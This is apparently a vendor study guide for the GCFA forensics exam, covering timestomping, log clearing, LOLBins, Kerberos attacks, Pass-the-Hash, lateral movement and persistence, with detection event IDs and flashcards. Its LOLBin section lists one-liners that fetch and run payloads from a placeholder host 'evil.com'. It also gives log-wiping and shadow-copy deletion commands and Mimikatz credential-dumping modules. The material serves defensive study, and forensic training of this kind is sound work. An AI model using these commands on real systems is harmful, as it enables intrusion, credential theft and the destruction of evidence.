Timestomping, LOLBins, log clearing, Pass-the-Hash, Kerberos attacks, and attacker persistence β the evasion & movement techniques every GCFA candidate must master.
Study with Practice Tests βAttackers cover their tracks and spread across the environment β this topic ties together evasion, credential theft, and movement techniques.
GCFA Exam Focus: This final topic covers how attackers evade detection, manipulate evidence, move laterally using stolen credentials, and maintain persistence. Expect 15β20 questions integrating these concepts with artifact and log analysis skills from earlier topics.
Phishing, exploit, VPN brute-force
Beacon/implant, persistence keys
Mimikatz, PtH, Kerberoasting
PsExec, WMI, WinRM, RDP
Golden/Silver Ticket, DCSync
Timestomp, log clear, LOLBins
Exfil, ransomware, destruction
| Tool | Category | Key Use | Detection / Analyst Counter |
|---|---|---|---|
| Mimikatz | Credential | sekurlsa::logonpasswords, lsadump::dcsync, kerberos::golden | Event 4624 Type 3, lsass access (Event 10 Sysmon), PPL protection |
| Impacket | Lateral Move | secretsdump.py, psexec.py, wmiexec.py, smbexec.py, GetUserSPNs.py | SMB Event 5140/5145, WMI Event 4688 + WmiPrvSE parent |
| BloodHound | Recon | AD path enumeration (SharpHound collector), attack paths via graph DB | LDAP query volume (Event 1644), SharpHound signatures |
| Rubeus | Kerberos | Kerberoasting, AS-REP roasting, ticket harvesting, golden/silver | Event 4769 (high volume RC4 tickets), Event 4768 preauth=0 |
| CobaltStrike | C2 / Post-Exploit | Beacon implant, lateral movement via jump, credential harvesting | Named pipe artifacts, Sysmon 17/18, process anomalies, network IOCs |
| SDelete | Anti-Forensics | Secure file overwrite (DoD 5220.22-M), wipes MFT filename | $USNJrnl shows rename to ZZZZZZZ before deletion |
| wevtutil | Log Clearing | wevtutil cl Security β clears event log | Event 1102 (Security), Event 104 (System) |
| Concept | Must-Know Detail |
|---|---|
| Timestomping detection | $SI Modified < $FN Modified β kernel ($FN) never lies; $SI is user-modifiable |
| Log cleared Event IDs | 1102 = Security log cleared; 104 = System log cleared; look for gaps |
| Golden Ticket | Requires KRBTGT NTLM hash; forges TGT; default lifetime = 10 years; survives password reset (need 2 resets) |
| Silver Ticket | Requires service account hash only; forges ST for specific service; does NOT contact DC |
| Kerberoasting | Requests RC4 service ticket for SPN accounts; detected by Event 4769 with EncryptionType = 0x17 (RC4) |
| AS-REP Roasting | Targets accounts with UF_DONT_REQUIRE_PREAUTH; detected by Event 4768 with PreAuthType = 0 |
| DCSync | Requires DS-Replication-Get-Changes-All privilege; generates Event 4662; Mimikatz lsadump::dcsync |
| PsExec artifacts | Creates PSEXESVC service (Event 7045) + SMB admin share access (Event 5140); runs as SYSTEM |
| WMI persistence | EventFilter + EventConsumer + FilterToConsumerBinding β survives reboot; stored in CIM repository |
| certutil abuse | certutil -urlcache -split -f [URL] = download; certutil -decode = base64 decode (common LOLBin) |
| Pass-the-Hash | Uses NTLM hash (not password); works against services accepting NTLM auth; detected by Event 4624 Type 3 |
| Overpass-the-Hash | Uses NTLM hash to request Kerberos TGT; allows full Kerberos auth with just a hash |
How attackers manipulate evidence β and how forensic analysts detect each technique.
Attackers modify $STANDARD_INFORMATION ($SI) timestamps using tools like Metasploit timestomp, BulkFileChanger, or custom code. The $FILENAME ($FN) timestamps are set by the Windows kernel and cannot be modified from user space.
| $SI vs $FN Timestamp Comparison | |
|---|---|
| $STANDARD_INFORMATION | User-space modifiable; timestomping target; 4 timestamps (MACE) |
| $FILENAME | Kernel-set on file creation/rename; not user-modifiable; 4 timestamps (MACE) |
| Timestomp indicator | $SI Created < $FN Created (impossible unless tampered) |
| Detection tool | MFTECmd + Timeline Explorer; Plaso super timeline |
| $USNJrnl indicator | First entry in journal = true creation time; compare with $SI |
| Sysmon Event 2 | File creation time changed β logs both old and new timestamps |
| Technique | Command / Method | Evidence Left Behind |
|---|---|---|
| Clear Security log | wevtutil cl Security | Event 1102 in Security log (last event before clearing) |
| Clear System log | wevtutil cl System | Event 104 in System log |
| PowerShell clear | Clear-EventLog -LogName Security | Event 1102; PowerShell Script Block (Event 4104) |
| Delete .evtx files | Direct file deletion while service running | VSS shadow copy; $USNJrnl shows deletion |
| Selective record deletion | Hex edit .evtx file, corrupt CRC checksums | Chainsaw / Event log parser detects bad checksums |
| Log time gap | Any clearing method | Gap in sequential Event Record IDs; time jump in log |
Key insight: Event 1102 is logged by the Security log itself just before being cleared β it survives in SIEM/forwarded logs even when the local log is wiped. Always check central logging for 1102/104.
MFT entry marked as unallocated; data remains on disk; $USNJrnl records the deletion; $I30 slack may retain filename. Recoverable via file carving (PhotoRec, Autopsy).
Overwrites file data (DoD 5220.22-M); renames file to ZZZZZZZZ before deletion β visible in $USNJrnl as a suspicious rename pattern. Detectable via $USNJrnl rename sequence.
Windows built-in free-space wipe: cipher /w:C:\ overwrites all unallocated space. Makes carving of previously deleted files impossible.
NTFS feature: file.txt:hidden.exe β stores data in named ADS. Used to hide payloads. Detected via dir /r, Sysinternals Streams, or MFT analysis.
Kernel-mode rootkits intercept filesystem API calls; files hidden from dir/Explorer but visible via offline MFT analysis or memory forensics (Volatility filescan).
VSS snapshots = forensic goldmine even after attacker deletes/wipes files. Attackers counter with: vssadmin delete shadows /all or WMI: Win32_ShadowCopy.Delete().
| Mechanism | Location / Command | Detection Event ID |
|---|---|---|
| Registry Run Keys | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run (and HKCU equivalent) | Sysmon 13 (Registry set); Registry Explorer baseline comparison |
| Scheduled Tasks | schtasks /create or Task Scheduler XML | 4698 (task created), 4702 (modified), 4699 (deleted) |
| Services | sc create or New-Service | 7045 (service installed), 7034/7035/7036 (state changes) |
| DLL Hijacking | Drop malicious DLL in app search path before legitimate DLL | Sysmon 7 (DLL load); ProcMon NAME_NOT_FOUND then load from unexpected path |
| WMI Subscription | EventFilter + EventConsumer (ActiveScriptEventConsumer) + FilterToConsumerBinding | Sysmon 19/20/21; WMI activity log; CIM repository analysis |
| Startup Folder | %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup | Sysmon 11 (file create); Autoruns baseline |
| COM Hijacking | HKCU\Software\Classes\CLSID overrides HKLM COM objects | Sysmon 13; Registry analysis (HKCU takes precedence) |
| Boot/MBR | Overwrite MBR or VBR; UEFI bootkits | Disk forensics; Secure Boot verification; known-good MBR hash comparison |
Attackers use legitimate Windows binaries to bypass application whitelisting, execute code, and avoid detection β "Living Off the Land Binaries."
Why LOLBins work: These binaries are signed by Microsoft, trusted by AV/EDR, and expected to run in enterprise environments. Detection requires behavioral analysis (command line arguments, parent process, network activity) rather than signature matching.
Certificate utility β abused for file download and base64 decode/encode
certutil -urlcache -split -f http://evil.com/payload.exe
certutil -decode encoded.txt payload.exe
Microsoft HTML Application host β executes VBScript/JScript in .hta files
mshta http://evil.com/shell.hta
mshta vbscript:Execute("...")
COM object registration β Squiblydoo: executes remote scriptlets, bypasses AppLocker
regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll
Executes DLL exports β abused to run malicious DLL functions directly
rundll32.exe evil.dll,EntryPoint
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication"
Windows Installer β executes remote or local MSI packages silently
msiexec /q /i http://evil.com/malware.msi
Background Intelligent Transfer Service β file download and persistence via BITS jobs
bitsadmin /transfer job http://evil.com/file C:\file
WMI command line β execute processes locally or remotely, query system info
wmic /node:TARGET process call create "cmd.exe /c..."
The most abused LOLBin β encoded commands, download cradles, reflective loading
powershell -enc [base64] -NoP -NonI -W Hidden
Windows Script Host β executes VBScript and JScript files
wscript //b //nologo evil.vbs
ODBC configuration β executes DLL via REGSVR action
odbcconf.exe /a {REGSVR evil.dll}
.NET installer β executes arbitrary .NET code via /U flag, bypasses AppLocker
InstallUtil.exe /logfile= /U evil.exe
File iterator β can execute commands per file, used for indirect command execution
forfiles /p C:\ /m calc.exe /c "cmd.exe /c evil.cmd"
| Detection Layer | What to Look For |
|---|---|
| Command Line Logging | Event 4688 with process command line (requires GPO) or Sysmon Event 1 β look for unusual arguments, URLs, base64 strings, suspicious flags |
| Parent Process Anomalies | Word/Excel spawning cmd.exe, PowerShell, mshta β Office macros executing LOLBins |
| Network Activity | certutil, bitsadmin, PowerShell making outbound HTTP connections β Sysmon Event 3 (network) + Event 1 (process) |
| Execution from Temp/AppData | Binaries executed from %TEMP%, %APPDATA%, C:\Users\* β not typical for sysadmin use |
| Unusual Times | LOLBin execution at 03:00 AM, outside business hours β correlate with logon events |
| Script Block Logging | PowerShell Event 4104 β captures decoded/decrypted script content even with -enc flag |
| AMSI Bypass Attempts | PowerShell Event 4104 containing known AMSI bypass strings; script block size anomalies |
| Prefetch Artifacts | Presence of certutil.exe, mshta.exe, etc. in Prefetch β confirms execution even if log cleared |
| Log Source | Content | Location |
|---|---|---|
| Module Logging (4103) | Module pipeline output | HKLM\...\PowerShell\ModuleLogging |
| Script Block (4104) | Full script content decoded | HKLM\...\PowerShell\ScriptBlockLogging |
| Transcription | Full session input/output | Configured output directory |
| ConsoleHost_history.txt | Interactive command history | %APPDATA%\...\PSReadLine\ |
| Event 800/600 | V2 PowerShell (downgrade attack) | Windows PowerShell log |
Attacker explicitly invokes PowerShell v2 to bypass Script Block Logging (v3+ feature):
powershell -version 2 -enc [base64]
Detection: Event 400 in Windows PowerShell log with EngineVersion = 2.0 + modern OS (Win10/2016+) β v2 should never be legitimately used on modern systems.
Credential theft techniques, Kerberos attacks, and the tools/artifacts for each lateral movement method.
| Kerberos Attack | Target | How It Works | Detection |
|---|---|---|---|
| Kerberoasting | Service accounts with SPNs | Request RC4 service ticket for SPN account; crack hash offline with hashcat/JtR | Event 4769 (EncryptionType=0x17 = RC4); high volume from single host; off-hours requests |
| AS-REP Roasting | Accounts with "Do not require Kerberos preauthentication" | Send AS-REQ without pre-auth; DC returns AS-REP encrypted with password hash; crack offline | Event 4768 (PreAuthType=0); Rubeus detect; monitor UF_DONT_REQUIRE_PREAUTH attribute |
| Pass-the-Ticket | Active Kerberos tickets in memory | Export TGT/ST from lsass/ccache; inject into current session; authenticate as victim | Event 4768/4769 from unusual source; ticket lifetime anomalies; Mimikatz sekurlsa::tickets |
| Overpass-the-Hash | Users where Kerberos preferred | Use NTLM hash to request Kerberos TGT via Mimikatz sekurlsa::pth; full Kerberos auth | Event 4768 TGT request with NTLM-derived key; logon anomaly detection |
| Method | Protocol/Port | Source Artifacts | Target Artifacts |
|---|---|---|---|
| PsExec | SMB / 445 | Event 5140 (share access), process execution, prefetch PSEXESVC | 7045 (PSEXESVC service installed), 4624 Type 3, PSEXESVC prefetch |
| WMI | DCOM / 135 | Event 4688 wmic.exe; Sysmon 3 (outbound 135) | WmiPrvSE.exe spawning child process (Sysmon 1); Event 4688 with WmiPrvSE parent |
| WinRM / PSRemoting | HTTP 5985 / HTTPS 5986 | WSMan PowerShell calls; Event 4688 | Event 4624 Type 3, WSMan Operational log; wsmprovhost.exe parent |
| RDP | RDP / 3389 | RDPClient Event 1024 (outbound); Bitmap cache; mstsc recent connections | Security 4624 Type 10, LSM 21 (connected), RemoteConnectionManager 1149 (source IP pre-auth) |
| DCOM | DCOM / 135+dynamic | Event 4688 (DCOM client process) | DCOM object execution in DCOM server process; Event 4688 with unexpected parent |
| Pass-the-Hash | SMB/NTLM / 445 | Mimikatz artifacts; Event 4624 Type 3 from attacker host | Event 4624 Type 3 (NTLM auth); no Kerberos TGT request (4768); anonymous or NTLM logon type |
| DCSync | MS-DRSR (LDAP) / 389,636 | mimikatz lsadump::dcsync run; Sysmon network to DC | Event 4662 on DC: Object=domain, DS-Replication-Get-Changes-All; source = non-DC host |
| Module::Command | What It Does |
|---|---|
sekurlsa::logonpasswords | Dump credentials from lsass β NTLM, Kerberos, WDigest (cleartext if enabled) |
sekurlsa::pth | Pass-the-Hash β spawn process using NTLM hash |
sekurlsa::tickets | List Kerberos tickets in memory |
lsadump::sam | Dump local SAM database (local account hashes) |
lsadump::dcsync | DCSync β replicate DC hashes without touching DC disk |
lsadump::lsa /patch | Dump all LSA secrets from lsass |
kerberos::golden | Forge Golden Ticket with KRBTGT hash |
kerberos::silver | Forge Silver Ticket with service account hash |
kerberos::ptt | Pass-the-Ticket β inject forged/stolen ticket into session |
privilege::debug | Enable SeDebugPrivilege (required for lsass access) |
Event 4662 on the DC:
domainDNSDS-Replication-Get-Changes + DS-Replication-Get-Changes-All10 questions covering anti-forensics, LOLBins, credential attacks, and lateral movement.
Mnemonics and mental models to lock in the hardest concepts.
Golden Ticket uses KRBTGT β opens ANY door in the domain. Silver Ticket uses service account hash β opens only THAT service's door. Golden Ticket requires TWO KRBTGT password resets to invalidate.
Pass-the-Hash uses the NTLM hash directly β the hash IS the password to NTLM auth. Pass-the-Ticket steals a Kerberos ticket from memory β no password or hash needed, just a valid ticket.
Kerberoasting targets SPN accounts (service accounts) β request RC4 ticket β crack. AS-REP Roasting targets accounts with no preauth flag β AS-REP returned encrypted with password β crack offline.
$FN timestamps are kernel-set and immune to user-space tampering. If $SI Created is EARLIER than $FN Created, the file was timestomped. Also: round-number $SI timestamps (00:00:00.000) are a major red flag.
PsExec always installs the PSEXESVC service on the target (Event 7045). It accesses admin shares (Event 5140 β \\SHARE or ADMIN$). Find it in Prefetch, Service records, and Event Logs even after execution ends.
certutil making network connections = suspicious. Word spawning PowerShell = suspicious. mshta running from Temp = suspicious. The binary itself is innocent β its parent, arguments, and network behavior tell the story.
| Topic | Key Number / Fact |
|---|---|
| Log cleared (Security) | Event 1102 |
| Log cleared (System) | Event 104 |
| Service installed | Event 7045 |
| Scheduled task created | Event 4698 |
| DCSync detection | Event 4662 on DC β DS-Replication-Get-Changes-All from non-DC |
| Kerberoasting detection | Event 4769 β EncryptionType = 0x17 (RC4) |
| AS-REP Roasting detection | Event 4768 β PreAuthType = 0 |
| PtH detection | Event 4624 Type 3 β NTLM auth, no prior 4768 Kerberos TGT |
| Timestomping | $SI Modified < $FN Modified; Sysmon Event 2 |
| Golden Ticket requires | KRBTGT NTLM hash; survives 1 reset; need 2 KRBTGT resets |
| Silver Ticket requires | Service account NTLM hash; offline; no DC contact |
| SDelete forensic artifact | $USNJrnl shows rename to ZZZZZZZZ before deletion |
| WMI persistence components | EventFilter + EventConsumer + FilterToConsumerBinding |
| Sysmon Event 10 | ProcessAccess β lsass.exe being accessed = credential theft |
| RDP pre-auth log | RemoteConnectionManager Event 1149 β source IP recorded before auth |
Click a card to reveal the answer.
certutil -urlcache -split -f [URL] outfilecertutil -decode encoded.txt payload.exePersonalized guidance for this topic.
Test your knowledge with full-length GCFA practice exams on FlashGenius β questions modeled on the real FOR508 exam domains.
Unlock Full Practice Tests on FlashGenius β